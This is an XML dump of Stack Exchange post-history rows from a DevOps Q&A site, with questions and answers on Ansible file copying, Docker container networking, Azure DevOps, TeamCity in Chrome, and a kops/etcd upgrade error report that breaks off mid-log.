  <row Id="25391" PostHistoryTypeId="5" PostId="8666" RevisionGUID="02962cc1-2205-43d0-89a5-774fdf2d1c61" CreationDate="2019-07-21T10:30:00.733" UserId="7715" Comment="deleted 5 characters in body" Text="**At the controller**, for practical reasons, it's good to create a special user who will be running commands ansible-* as *ansible_user*. Typically *ansible_user* connects via ssh to remote hosts and authenticates with the public key.&#xD;&#xA;&#xD;&#xA;* It's practical to have different ssh keys for *admin* and *ansible_user*.&#xD;&#xA;&#xD;&#xA;* *ansible_user* public key will be authorized by all remote hosts.&#xD;&#xA;* Some remote hosts might need the authorization to connect to the controller e.g. ansible-pull&#xD;&#xA;&#xD;&#xA;* Typically, Ansible requires /bin/sh to be *ansible_user* login shell at the remote host.&#xD;&#xA;&#xD;&#xA;There might be more(or less) reasons depending on the scenario.&#xD;&#xA;&#xD;&#xA;**At the remote host** the admin created by default might be fine with changed credentials and login-shell changed to /bin/sh. But for security reasons creating ansible_user and deleting the default admin should be preferred.&#xD;&#xA;&#xD;&#xA;It's good to understand [Privilege Excalation](https://docs.ansible.com/ansible/latest/user_guide/become.html#understanding-privilege-escalation) and the difference of [Ansible remote_user vs ansible_user](https://stackoverflow.com/questions/36668756/ansible-remote-user-vs-ansible-user)." ContentLicense="CC BY-SA 4.0" />
  <row Id="25392" PostHistoryTypeId="2" PostId="8667" RevisionGUID="cb0b3701-6a26-43c1-9e78-e62884e5ebfd" CreationDate="2019-07-21T12:19:52.807" UserId="14770" Text="I have a bash script on about 70 severs in `/opt/zservice/etc/config` that i want to change its content with ansible. the new content is on ansible server in this path `/data/new_config`.  &#xD;&#xA;how i can use ansible (how to write a task) that reads this file `new_config` and then replace `config` content ?  &#xD;&#xA;&#xD;&#xA;something like this in bash: `/data/new_config &gt; /opt/zservice/etc/config`" ContentLicense="CC BY-SA 4.0" />
  <row Id="25393" PostHistoryTypeId="1" PostId="8667" RevisionGUID="cb0b3701-6a26-43c1-9e78-e62884e5ebfd" CreationDate="2019-07-21T12:19:52.807" UserId="14770" Text="copy contents of file on ansible server to another file on remote servers" ContentLicense="CC BY-SA 4.0" />
  <row Id="25394" PostHistoryTypeId="3" PostId="8667" RevisionGUID="cb0b3701-6a26-43c1-9e78-e62884e5ebfd" CreationDate="2019-07-21T12:19:52.807" UserId="14770" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25395" PostHistoryTypeId="2" PostId="8668" RevisionGUID="70b33bd0-2a37-45c3-a894-626a7ecd5840" CreationDate="2019-07-21T13:18:38.280" UserId="7715" Text="Copy module should work&#xD;&#xA;&#xD;&#xA;    - hosts: all  &#xD;&#xA;      tasks:&#xD;&#xA;        - copy:&#xD;&#xA;            src: /data/new_config&#xD;&#xA;            dest: /opt/zservice/etc/config&#xD;&#xA;            owner: root&#xD;&#xA;            group: wheel&#xD;&#xA;            mode: '0750'&#xD;&#xA;            backup: yes&#xD;&#xA;&#xD;&#xA;If you worry about the number of the hosts take a look at [serial](https://docs.ansible.com/ansible/latest/user_guide/playbooks_delegation.html#rolling-update-batch-size)." ContentLicense="CC BY-SA 4.0" />
  <row Id="25399" PostHistoryTypeId="50" PostId="8240" RevisionGUID="2d0ca161-d148-4185-88ef-703a384c7e68" CreationDate="2019-07-21T20:00:45.440" UserId="-1" />
  <row Id="25400" PostHistoryTypeId="2" PostId="8670" RevisionGUID="97fbecd4-3472-471b-8ab4-d39dca9abf0c" CreationDate="2019-07-21T21:23:53.440" UserId="16124" Text="If you are using kubernetes as deployment environment,  you could use configmaps and apply them on building your code." ContentLicense="CC BY-SA 4.0" />
  <row Id="25401" PostHistoryTypeId="6" PostId="8667" RevisionGUID="6eb9e9a5-75d5-4aa1-b331-356ad6f695cd" CreationDate="2019-07-22T02:53:35.843" UserId="14770" Comment="edited tags" Text="&lt;ansible&gt;&lt;linux&gt;&lt;centos&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25406" PostHistoryTypeId="2" PostId="8671" RevisionGUID="79eda654-aa72-436f-b650-9417a4c8bf58" CreationDate="2019-07-22T09:44:19.257" UserId="16129" Text="I have two docker containers running:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Postgres 9.4: 0.0.0.0:5431-&gt;5432/tcp&#xD;&#xA;Postgres 11: 0.0.0.0:5432-&gt;5432/tcp&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I can connect to both of them via clients on my computer, but I am unable to access one container from within another. I would like to use Postgres's `dblink` feature - i.e. (in case it matters), I am running a query on one server that looks like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;select&#xD;&#xA;dp.*&#xD;&#xA;from dblink(&#xD;&#xA;	'dbname=mydb&#xD;&#xA;	port=5431&#xD;&#xA;	host=localhost&#xD;&#xA;	user=postgres&#xD;&#xA;	password=password', 'select 1'&#xD;&#xA;) as dp (i int)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This results in an error along that says:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Could not connect to server: Connection refused&#xD;&#xA;  Is the server running on host &quot;localhost&quot; (127.0.0.1) and accepting&#xD;&#xA;  TCP/IP connections on port 5431?&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And I guess this is because `localhost` is the loopback address inside the container. What is the way around this? (I'm super new to Docker by the way)" ContentLicense="CC BY-SA 4.0" />
  <row Id="25407" PostHistoryTypeId="1" PostId="8671" RevisionGUID="79eda654-aa72-436f-b650-9417a4c8bf58" CreationDate="2019-07-22T09:44:19.257" UserId="16129" Text="How to resolve the host operating system 'localhost' address from within a container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25408" PostHistoryTypeId="3" PostId="8671" RevisionGUID="79eda654-aa72-436f-b650-9417a4c8bf58" CreationDate="2019-07-22T09:44:19.257" UserId="16129" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25409" PostHistoryTypeId="2" PostId="8672" RevisionGUID="abb59be4-c8ef-45bd-b223-e46eab268446" CreationDate="2019-07-22T10:03:42.470" UserId="16129" Text="Ah. Well a high level answer that allows for me to just 'get by' for now is this:&#xD;&#xA;&#xD;&#xA;Docker will automatically create a network when running one or more containers. You can check what a container's IP address is on this virtual network by running:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker container inspect &lt;container name&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I was able to find the IP address of the postgres container that I want to query from and use it that way. " ContentLicense="CC BY-SA 4.0" />
  <row Id="25410" PostHistoryTypeId="4" PostId="8659" RevisionGUID="94148f9f-fca5-4756-b522-b309dd0a009b" CreationDate="2019-07-22T10:16:51.027" UserId="4907" Comment="Fix spelling" Text="How to handle different credentials in continuous integration?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25411" PostHistoryTypeId="24" PostId="8659" RevisionGUID="94148f9f-fca5-4756-b522-b309dd0a009b" CreationDate="2019-07-22T10:16:51.027" Comment="Proposed by 4907 approved by 10529 edit id of 1032" ContentLicense="CC BY-SA 4.0" />
  <row Id="25412" PostHistoryTypeId="2" PostId="8673" RevisionGUID="580ca0ec-c652-46e9-8830-89542bbf166f" CreationDate="2019-07-22T10:30:12.890" UserId="16004" Text="I've found solution. Problem is backend took 10 mins to make fully loaded. When `curl -m 5 http://0.0.0.0` in **validate_server.sh**, backend is not ready yet to response back that's why `[stderr]curl: (56) Recv failure: Connection reset by peer` throw. So, I've added `sleep 20s` above `curl -m 5 http://0.0.0.0` inside **validate_server.sh**, now it was working." ContentLicense="CC BY-SA 4.0" />
  <row Id="25413" PostHistoryTypeId="5" PostId="8672" RevisionGUID="2bce101f-0239-458c-a194-d2c596bae157" CreationDate="2019-07-22T12:09:42.080" UserId="16129" Comment="added 5 characters in body" Text="Ah. Well a high level answer that allows for me to just 'get by' for now is this:&#xD;&#xA;&#xD;&#xA;Docker will automatically create a network when running one or more containers. You can check what a container's IP address is on this virtual network by running:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker container inspect &lt;container name&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I was able to find the gateway address of the postgres container that I want to query from and use it that way. " ContentLicense="CC BY-SA 4.0" />
  <row Id="25417" PostHistoryTypeId="2" PostId="8674" RevisionGUID="e7dbce82-cf0e-4609-9009-996b3fa0ea04" CreationDate="2019-07-22T14:10:53.083" UserId="15792" Text="You are correct in that using localhost within the container is referencing the container, and not your network.  You could use inspect, find the ip, and hardcode the ip.  However, a simpler and cleaner solution would be to utilize Docker's network features.  When you run the containers you can put the containers inside a defined network.  Containers in this network can resolve requests to other containers using their container name instead of an ip (e.g. Server=container2).&#xD;&#xA;&#xD;&#xA;[Docker Network Documentation][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/network/" ContentLicense="CC BY-SA 4.0" />
  <row Id="25421" PostHistoryTypeId="2" PostId="8676" RevisionGUID="90fd72eb-ac34-4ede-ace7-a5e003eb8488" CreationDate="2019-07-22T15:40:04.080" UserId="16135" Text="The project that i recently started working on uses a dacpac to deploy / update a database in MS SQL Server. The database is replicated, whenever the dacpac contains modifications to any table, we manually terminate the replication before continuing with the deployment. After the deployment, we run a script to start with a fresh replication. On the other hand, if only stored procedures have been modified, the replication can continue during the deployment. &#xD;&#xA;&#xD;&#xA;The manual intervention is annoying me. Has anyone already solved this issue in an Azure Devops Release Pipeline? &#xD;&#xA;&#xD;&#xA;The fallback is to use SqlPackage.exe /action;deployreport, but that means I have to write a file to disk to get the diff and subsequently inspect that outcome. " ContentLicense="CC BY-SA 4.0" />
  <row Id="25422" PostHistoryTypeId="1" PostId="8676" RevisionGUID="90fd72eb-ac34-4ede-ace7-a5e003eb8488" CreationDate="2019-07-22T15:40:04.080" UserId="16135" Text="Conditionally stopping SQL replication during deployment" ContentLicense="CC BY-SA 4.0" />
  <row Id="25423" PostHistoryTypeId="3" PostId="8676" RevisionGUID="90fd72eb-ac34-4ede-ace7-a5e003eb8488" CreationDate="2019-07-22T15:40:04.080" UserId="16135" Text="&lt;azure-devops&gt;&lt;release&gt;&lt;sql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25425" PostHistoryTypeId="2" PostId="8677" RevisionGUID="a9744517-95cf-4421-9d04-6f00ecfece93" CreationDate="2019-07-22T17:20:16.803" UserId="15605" Text="A bit of an odd question I think but here goes: I have a couple of services running in an application that I'm building. In production each service is containerised and lives on its own server. But on my development computer I like to keep local versions all running. Of course, if I have multiple services running on localhost, the only way to do this is to have them each on their own port. Now, to maintain parity between development and production, I figure that I must now also get them all running on those different ports in production.&#xD;&#xA;&#xD;&#xA;So I guess my question is is it okay to have all these services running on &quot;non-standard&quot; ports (eg, a webserver that isn't on 80 or 443) in production. My understanding of ports is that:&#xD;&#xA;1) There are some ports usually used for specific services.&#xD;&#xA;2) This isn't mandatory.&#xD;&#xA;3) Some people deliberately change them for security through obscification, but this doesn't achieve much.&#xD;&#xA;&#xD;&#xA;So it should be fine? Or is there a better practice for this problem?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25426" PostHistoryTypeId="1" PostId="8677" RevisionGUID="a9744517-95cf-4421-9d04-6f00ecfece93" CreationDate="2019-07-22T17:20:16.803" UserId="15605" Text="Running services on different ports in development environment and production environment" ContentLicense="CC BY-SA 4.0" />
  <row Id="25427" PostHistoryTypeId="3" PostId="8677" RevisionGUID="a9744517-95cf-4421-9d04-6f00ecfece93" CreationDate="2019-07-22T17:20:16.803" UserId="15605" Text="&lt;microservices&gt;&lt;ports&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25428" PostHistoryTypeId="2" PostId="8678" RevisionGUID="047788f0-1cb0-41ed-a371-d73e4133942f" CreationDate="2019-07-22T17:57:54.700" UserId="15792" Text="This should be fine.  It's something you may even have to do if ports are already in use on localhost.  Even development languages like [.net core][1] are now supporting different environments that can be used to configure the different ports.&#xD;&#xA;&#xD;&#xA;Example: 1433 is the standard sql server port.  If I wanted to test a local sql server container, but did not want to stop my locally installed sql server, I could run it on another port (e.g. 1431).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/aspnet/core/fundamentals/environments?view=aspnetcore-2.2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25429" PostHistoryTypeId="2" PostId="8679" RevisionGUID="eab57b68-05f4-411a-9e33-081283faff52" CreationDate="2019-07-23T04:07:23.987" UserId="14678" Text="Packer doesn't support compression natively with `iso_url`, in this sample (Virtualbox builder) [doc][1] you can see that compression is not mentioned.&#xA;&#xA;So either you continue with your current solution, or you can also, look at [extending][2] packer to include this functionality.&#xA;&#xA;&#xA;  [1]: https://www.packer.io/docs/builders/virtualbox-iso.html&#xA;  [2]: https://www.packer.io/docs/extending/index.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="25430" PostHistoryTypeId="2" PostId="8680" RevisionGUID="5f75b329-1e4d-4954-9d4d-eab7f5aa0667" CreationDate="2019-07-23T08:54:38.610" UserId="16094" Text="you can use &#xD;&#xA;&#xD;&#xA;&quot;docker network create &lt;your_nw_name&gt;&quot;&#xD;&#xA;&#xD;&#xA; to create your own network. Once you do that when you are creating a container use the &#xD;&#xA;&#xD;&#xA;&quot;--network &lt;your_nw_name&gt;&quot;&#xD;&#xA;&#xD;&#xA;to create the 2 containers in the same network.The containers in the same network can interact with each other.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25431" PostHistoryTypeId="2" PostId="8681" RevisionGUID="980ed135-26b7-4c71-b75a-210b1bcacd5a" CreationDate="2019-07-23T09:23:15.670" UserDisplayName="user16086" Text="When I try to add a Service connection to a private Docker registry in Azure DevOps, it seems I have to provide a Docker Hub (Docker ID) user and password.&#xD;&#xA;&#xD;&#xA;Why is that? I just want to push to our private Docker registry.&#xD;&#xA;&#xD;&#xA;I tried putting in my Docker ID and using the service connection in Azure Pipelines, but I get permission denied.&#xD;&#xA;&#xD;&#xA;Do you know of any guides to using Azure Pipelines with a private Docker registry?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25432" PostHistoryTypeId="1" PostId="8681" RevisionGUID="980ed135-26b7-4c71-b75a-210b1bcacd5a" CreationDate="2019-07-23T09:23:15.670" UserDisplayName="user16086" Text="Azure DevOps and private Docker registry" ContentLicense="CC BY-SA 4.0" />
  <row Id="25433" PostHistoryTypeId="3" PostId="8681" RevisionGUID="980ed135-26b7-4c71-b75a-210b1bcacd5a" CreationDate="2019-07-23T09:23:15.670" UserDisplayName="user16086" Text="&lt;docker&gt;&lt;azure-devops&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25434" PostHistoryTypeId="2" PostId="8682" RevisionGUID="fbe34959-41a7-48c2-8106-718efeff6cde" CreationDate="2019-07-23T09:48:00.247" UserId="14678" Text="They are much probably in user home folder on which packer is running&#xA;You can look at `~/.ssh`.&#xA;Also you can specify you own [keypair][1].&#xA;&#xA;  [1]: https://packer.io/docs/builders/amazon-instance.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="25435" PostHistoryTypeId="2" PostId="8683" RevisionGUID="b0c8d2ab-458d-42c1-9702-56f4dd456a45" CreationDate="2019-07-23T13:24:07.180" UserId="15792" Text=" - To use any of Docker's tooling you need a Docker account.  Part of this is that Docker will use base images from Docker Hub to build images that may be stored in a private repository.&#xD;&#xA; - For the Docker ID getting permission denied verify that you used the ID and not your e-mail.&#xD;&#xA; - Microsoft and others have put together great documentation both Azure Pipelines and private Docker registries:&#xD;&#xA;[Introduction to private Docker container registries in Azure][1] (will help you make sure it is configured properly)&#xD;&#xA;[Accessing Azure resources from a Dockerfile][2] (useful since you may be trying to do something similar in your build pipeline)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/container-registry/container-registry-intro&#xD;&#xA;  [2]: https://jessicadeen.com/how-to-access-private-azure-devops-repos-from-a-dockerfile/" ContentLicense="CC BY-SA 4.0" />
  <row Id="25436" PostHistoryTypeId="2" PostId="8684" RevisionGUID="737fe71c-746c-4931-9a86-bcc7fbc48465" CreationDate="2019-07-23T14:03:57.730" UserId="16146" Text="I've installed teamcity on two machines now. The first, I tried reinstalling multiple times because the web interface would launch in Chrome and fail with:&#xD;&#xA;&#xD;&#xA;&gt;This site can’t be reached The webpage at http://localhost:6666/ might be temporarily down or it may have moved permanently to a new web address.&#xD;&#xA;&#xD;&#xA;&gt;ERR_UNSAFE_PORT&#xD;&#xA;&#xD;&#xA;The teamcity-server service was running, but not accessible on the port I'd set up. Eventually I tried `curl localhost:6666`, and got a response, so tried again in Edge browser. In Edge, everything works fine.&#xD;&#xA;&#xD;&#xA;On the second machine, same deal. Installed fine, not found in Chrome, works fine in Edge.&#xD;&#xA;&#xD;&#xA;Is this a known issue with TeamCity? Is there some kind of setting in Chrome that may need changing? How should I go about diagnosing and fixing the problem?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25437" PostHistoryTypeId="1" PostId="8684" RevisionGUID="737fe71c-746c-4931-9a86-bcc7fbc48465" CreationDate="2019-07-23T14:03:57.730" UserId="16146" Text="TeamCity web interface not accessible on Chrome" ContentLicense="CC BY-SA 4.0" />
  <row Id="25438" PostHistoryTypeId="3" PostId="8684" RevisionGUID="737fe71c-746c-4931-9a86-bcc7fbc48465" CreationDate="2019-07-23T14:03:57.730" UserId="16146" Text="&lt;teamcity&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25439" PostHistoryTypeId="2" PostId="8685" RevisionGUID="2a84318f-fb6b-42d7-b2d9-b26493308c3c" CreationDate="2019-07-23T15:15:08.957" UserId="15792" Text="You will need to explicitly allow that port.  From the guide [here][1]:&#xD;&#xA;&#xD;&#xA;You can modify the shortcut to Chrome so that it explicitly allows that port when chrome launches:  &lt;code&gt;&quot;C:\Documents and Settings\User\Local Settings\Application Data\Google\Chrome\Application\chrome.exe --explicitly-allowed-ports=6666&quot;&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.thewindowsclub.com/err_unsafe_port-error-on-google-chrome" ContentLicense="CC BY-SA 4.0" />
  <row Id="25440" PostHistoryTypeId="2" PostId="8686" RevisionGUID="7323339a-a6f4-40f5-ada5-b70c57b095ac" CreationDate="2019-07-23T17:31:41.153" UserId="7620" Text="**1. What `kops` version are you running? The command `kops version`, will display&#xD;&#xA; this information.**&#xD;&#xA;`Version 1.12.2`&#xD;&#xA;&#xD;&#xA;**2. What Kubernetes version are you running? `kubectl version` will print the&#xD;&#xA; version if a cluster is running or provide the Kubernetes version specified as&#xD;&#xA; a `kops` flag.**&#xD;&#xA;```&#xD;&#xA;Client Version: version.Info{Major:&quot;1&quot;, Minor:&quot;15&quot;, GitVersion:&quot;v1.15.1&quot;, GitCommit:&quot;4485c6f18cee9a5d3c3b4e523bd27972b1b53892&quot;, GitTreeState:&quot;clean&quot;, BuildDate:&quot;2019-07-18T14:25:20Z&quot;, GoVersion:&quot;go1.12.7&quot;, Compiler:&quot;gc&quot;, Platform:&quot;darwin/amd64&quot;}&#xD;&#xA;Server Version: version.Info{Major:&quot;1&quot;, Minor:&quot;12&quot;, GitVersion:&quot;v1.12.8&quot;, GitCommit:&quot;a89f8c11a5f4f132503edbc4918c98518fd504e3&quot;, GitTreeState:&quot;clean&quot;, BuildDate:&quot;2019-04-23T04:41:47Z&quot;, GoVersion:&quot;go1.10.8&quot;, Compiler:&quot;gc&quot;, Platform:&quot;linux/amd64&quot;}&#xD;&#xA;```&#xD;&#xA;**3. What cloud provider are you using?**&#xD;&#xA;`aws`&#xD;&#xA;**4. What commands did you run?  What is the simplest way to reproduce this issue?**&#xD;&#xA;`kops update cluster` &#xD;&#xA;`kops rolling-update`&#xD;&#xA;**5. What happened after the commands executed?**&#xD;&#xA;kube-controller-manager reports the following error while &#xD;&#xA;```&#xD;&#xA;Unable to sync caches for garbage collector controller&#xD;&#xA;Failed to list &lt;nil&gt;: client: etcd cluster is unavailable or misconfigured; error #0: net/http: HTTP/1.x transport connection broken: malformed HTTP response &quot;\x15\x03\x01\x00\x02\x02&quot;&#xD;&#xA;```&#xD;&#xA;**6. What did you expect to happen?**&#xD;&#xA;Upgrade kubernetes &#xD;&#xA;&#xD;&#xA;**7. Please provide your cluster manifest. Execute&#xD;&#xA;  `kops get --name my.example.com -o yaml` to display your cluster manifest.&#xD;&#xA;  You may want to remove your cluster name and other sensitive information.**&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;apiVersion: kops/v1alpha2&#xD;&#xA;kind: Cluster&#xD;&#xA;metadata:&#xD;&#xA;  creationTimestamp: 2019-05-14T16:15:12Z&#xD;&#xA;  name: k8s.runningenv.cloud&#xD;&#xA;spec:&#xD;&#xA;  api:&#xD;&#xA;    dns: {}&#xD;&#xA;    loadBalancer:&#xD;&#xA;      sslCertificate: arn:aws:acm:ca-central-1:111111111111:certificate/ccxcccss112-ddw-ddwd-ddsds-ddsds3232&#xD;&#xA;      type: Public&#xD;&#xA;  authentication:&#xD;&#xA;    aws: {}&#xD;&#xA;  authorization:&#xD;&#xA;    rbac: {}&#xD;&#xA;  channel: stable&#xD;&#xA;  cloudProvider: aws&#xD;&#xA;  configBase: s3://dummy-data-store/k8s.runningenv.cloud&#xD;&#xA;  etcdClusters:&#xD;&#xA;  - etcdMembers:&#xD;&#xA;    - instanceGroup: master-ca-central-1a&#xD;&#xA;      name: a&#xD;&#xA;    name: main&#xD;&#xA;  - etcdMembers:&#xD;&#xA;    - instanceGroup: master-ca-central-1a&#xD;&#xA;      name: a&#xD;&#xA;    name: events&#xD;&#xA;  iam:&#xD;&#xA;    allowContainerRegistry: true&#xD;&#xA;    legacy: false&#xD;&#xA;  kubelet:&#xD;&#xA;    anonymousAuth: false&#xD;&#xA;  kubernetesApiAccess:&#xD;&#xA;  - 1.1.1.1/32&#xD;&#xA;  - 2.2.2.2/32 &#xD;&#xA;  kubernetesVersion: 1.12.8&#xD;&#xA;  masterInternalName: api.internal.k8s.runningenv.cloud&#xD;&#xA;  masterPublicName: api.k8s.runningenv.cloud&#xD;&#xA;  networkCIDR: 172.20.0.0/16&#xD;&#xA;  networking:&#xD;&#xA;    amazonvpc: {}&#xD;&#xA;  nonMasqueradeCIDR: 172.20.0.0/16&#xD;&#xA;  sshAccess:&#xD;&#xA;  - 1.1.1.1/32&#xD;&#xA;  - 2.2.2.2/32&#xD;&#xA;  subnets:&#xD;&#xA;  - cidr: 172.20.32.0/19&#xD;&#xA;    name: ca-central-1a&#xD;&#xA;    type: Public&#xD;&#xA;    zone: ca-central-1a&#xD;&#xA;  - cidr: 172.20.64.0/19&#xD;&#xA;    name: ca-central-1b&#xD;&#xA;    type: Public&#xD;&#xA;    zone: ca-central-1b&#xD;&#xA;  topology:&#xD;&#xA;    dns:&#xD;&#xA;      type: Public&#xD;&#xA;    masters: public&#xD;&#xA;    nodes: public&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;apiVersion: kops/v1alpha2&#xD;&#xA;kind: InstanceGroup&#xD;&#xA;metadata:&#xD;&#xA;  creationTimestamp: 2019-07-19T16:24:11Z&#xD;&#xA;  labels:&#xD;&#xA;    kops.k8s.io/cluster: k8s.runningenv.cloud&#xD;&#xA;  name: large_nodes&#xD;&#xA;spec:&#xD;&#xA;  image: kope.io/k8s-1.12-debian-stretch-amd64-hvm-ebs-2019-05-13&#xD;&#xA;  machineType: t3.xlarge&#xD;&#xA;  maxSize: 2&#xD;&#xA;  minSize: 2&#xD;&#xA;  nodeLabels:&#xD;&#xA;    kops.k8s.io/instancegroup: large_nodes&#xD;&#xA;  role: Node&#xD;&#xA;  rootVolumeSize: 64&#xD;&#xA;  subnets:&#xD;&#xA;  - ca-central-1a&#xD;&#xA;  - ca-central-1b&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;apiVersion: kops/v1alpha2&#xD;&#xA;kind: InstanceGroup&#xD;&#xA;metadata:&#xD;&#xA;  creationTimestamp: 2019-05-14T16:15:13Z&#xD;&#xA;  labels:&#xD;&#xA;    kops.k8s.io/cluster: k8s.runningenv.cloud&#xD;&#xA;  name: master-ca-central-1a&#xD;&#xA;spec:&#xD;&#xA;  image: kope.io/k8s-1.12-debian-stretch-amd64-hvm-ebs-2019-05-13&#xD;&#xA;  machineType: c4.large&#xD;&#xA;  maxSize: 1&#xD;&#xA;  minSize: 1&#xD;&#xA;  nodeLabels:&#xD;&#xA;    kops.k8s.io/instancegroup: master-ca-central-1a&#xD;&#xA;  role: Master&#xD;&#xA;  subnets:&#xD;&#xA;  - ca-central-1a&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;apiVersion: kops/v1alpha2&#xD;&#xA;kind: InstanceGroup&#xD;&#xA;metadata:&#xD;&#xA;  creationTimestamp: 2019-05-14T16:15:13Z&#xD;&#xA;  labels:&#xD;&#xA;    kops.k8s.io/cluster: k8s.runningenv.cloud&#xD;&#xA;  name: nodes&#xD;&#xA;spec:&#xD;&#xA;  image: kope.io/k8s-1.12-debian-stretch-amd64-hvm-ebs-2019-05-13&#xD;&#xA;  machineType: t3.large&#xD;&#xA;  maxSize: 5&#xD;&#xA;  minSize: 5&#xD;&#xA;  nodeLabels:&#xD;&#xA;    kops.k8s.io/instancegroup: nodes&#xD;&#xA;  role: Node&#xD;&#xA;  subnets:&#xD;&#xA;  - ca-central-1a&#xD;&#xA;  - ca-central-1b&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**8. Please run the commands with most verbose logging by adding the `-v 10` flag.&#xD;&#xA;  Paste the logs into this report, or in a gist and provide the gist link here.**&#xD;&#xA;Logs from kube-controller-manager&#xD;&#xA;```&#xD;&#xA;I0723 17:05:09.115034       1 shared_informer.go:119] stop requested&#xD;&#xA;E0723 17:05:09.115219       1 controller_utils.go:1030] Unable to sync caches for garbage collector controller&#xD;&#xA;E0723 17:05:09.115373       1 garbagecollector.go:233] timed out waiting for dependency graph builder sync during GC sync (attempt 300)&#xD;&#xA;E0723 17:05:09.130184       1 reflector.go:125] k8s.io/kubernetes/pkg/controller/garbagecollector/graph_builder.go:124: Failed to list &lt;nil&gt;: client: etcd cluster is unavailable or misconfigured; error #0: net/http: HTTP/1.x transport connection broken: malformed HTTP response &quot;\x15\x03\x01\x00\x02\x02&quot;&#xD;&#xA;E0723 17:05:09.144553       1 reflector.go:125] k8s.io/kubernetes/pkg/controller/garbagecollector/graph_builder.go:124: Failed to list &lt;nil&gt;: client: etcd cluster is unavailable or misconfigured; error #0: net/http: HTTP/1.x transport connection broken: malformed HTTP response &quot;\x15\x03\x01\x00\x02\x02&quot;&#xD;&#xA;I0723 17:05:09.416248       1 garbagecollector.go:204] syncing garbage collector with updated resources from discovery (attempt 301): added: [{Group:auth.kope.io Version:v1alpha1 Resource:users} {Group:config.auth.kope.io Version:v1alpha1 Resource:authconfigurations} {Group:config.auth.kope.io Version:v1alpha1 Resource:authproviders}], removed: []&#xD;&#xA;I0723 17:05:09.618069       1 controller_utils.go:1027] Waiting for caches to sync for garbage collector controller&#xD;&#xA;E0723 17:05:10.133851       1 reflector.go:125] k8s.io/kubernetes/pkg/controller/garbagecollector/graph_builder.go:124: Failed to list &lt;nil&gt;: client: etcd cluster is unavailable or misconfigured; error #0: net/http: HTTP/1.x transport connection broken: malformed HTTP response &quot;\x15\x03\x01\x00\x02\x02&quot;&#xD;&#xA;E0723 17:05:10.152706       1 reflector.go:125] &#xD;&#xA;```&#xD;&#xA;**9. Anything else do we need to know?**&#xD;&#xA;Tried connecting to etcd and this was the response &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;root@ip-172-20-48-95:/tmp/etcd-download-test# ./etcdctl --endpoints https://127.0.0.1:2380 --cert-file=/etc/kubernetes/pki/kube-apiserver/etcd-client.crt --key-file=/etc/kubernetes/pki/kube-apiserver/etcd-client.key  --ca-file=/etc/kubernetes/pki/kube-apiserver/etcd-ca.crt --debug cluster-health&#xD;&#xA;Cluster-Endpoints: https://127.0.0.1:2380&#xD;&#xA;cURL Command: curl -X GET https://127.0.0.1:2380/v2/members&#xD;&#xA;cluster may be unhealthy: failed to list members&#xD;&#xA;Error:  client: etcd cluster is unavailable or misconfigured; error #0: x509: certificate signed by unknown authority&#xD;&#xA;&#xD;&#xA;error #0: x509: certificate signed by unknown authority&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;`kubectl get cs` response&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;I0723 13:16:52.688710   95389 request.go:947] Response Body: {&quot;kind&quot;:&quot;ComponentStatusList&quot;,&quot;apiVersion&quot;:&quot;v1&quot;,&quot;metadata&quot;:{&quot;selfLink&quot;:&quot;/api/v1/componentstatuses&quot;},&quot;items&quot;:[{&quot;metadata&quot;:{&quot;name&quot;:&quot;scheduler&quot;,&quot;selfLink&quot;:&quot;/api/v1/componentstatuses/scheduler&quot;,&quot;creationTimestamp&quot;:null},&quot;conditions&quot;:[{&quot;type&quot;:&quot;Healthy&quot;,&quot;status&quot;:&quot;True&quot;,&quot;message&quot;:&quot;ok&quot;}]},{&quot;metadata&quot;:{&quot;name&quot;:&quot;controller-manager&quot;,&quot;selfLink&quot;:&quot;/api/v1/componentstatuses/controller-manager&quot;,&quot;creationTimestamp&quot;:null},&quot;conditions&quot;:[{&quot;type&quot;:&quot;Healthy&quot;,&quot;status&quot;:&quot;True&quot;,&quot;message&quot;:&quot;ok&quot;}]},{&quot;metadata&quot;:{&quot;name&quot;:&quot;etcd-1&quot;,&quot;selfLink&quot;:&quot;/api/v1/componentstatuses/etcd-1&quot;,&quot;creationTimestamp&quot;:null},&quot;conditions&quot;:[{&quot;type&quot;:&quot;Healthy&quot;,&quot;status&quot;:&